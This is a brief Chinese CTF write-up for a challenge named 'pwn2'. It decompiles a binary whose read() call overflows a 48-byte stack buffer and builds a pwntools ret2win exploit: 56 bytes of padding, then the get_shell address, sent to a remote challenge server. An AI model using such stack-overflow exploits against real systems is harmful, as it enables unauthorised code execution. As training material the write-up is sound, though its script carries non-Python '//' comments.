pwn2

首先下载到文件,直接拿去分析

再使用ida查看源代码

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[48]; // [rsp+0h] [rbp-30h] BYREF

  memset(s, 0, sizeof(s));          ###用0填充字符串s,填充的长度是字符串s的长度,也就是说s的内容全为0
  setvbuf(stdout, 0LL, 2, 0LL);     ###义流 stdout应如何缓冲
  setvbuf(stdin, 0LL, 1, 0LL);
  puts("say something?");           ###输出字符串
  read(0, s, 0x100uLL);             ###读取数据
  puts("oh,that's so boring!");
  return 0;
}


这个时候我们可以利用read函数的读取长度造成栈溢出,进而覆盖掉打印出puts("say something?");到get_shell地址,这样就可以跳转得到flag。我们之前检查的时候看到没有溢出的保护机制



我们计算一下地址0030-0000转换成16进制就是48,r表示为返回地址也占8个位,那么我们一共要覆盖48+8=56,在56位之后加上get_shell的地址0x400751

所以我们现在构建payload:

当然也有另一种脚本:

from pwn import *  
r=remote('114.116.54.89',10003)         //进行远程连接
payload='a'*0x38+p64(0x400751)          //构造栈溢出
r.sendline(payload)                     //发送子命令
r.interactive()                         //交互模式

如果看不懂建议看B站大佬视频:
https://www.bilibili.com/video/av47344110/

posted @ 2021-03-16 22:40  网抑云黑胶SVIP用户  阅读(92)  评论(0)    收藏  举报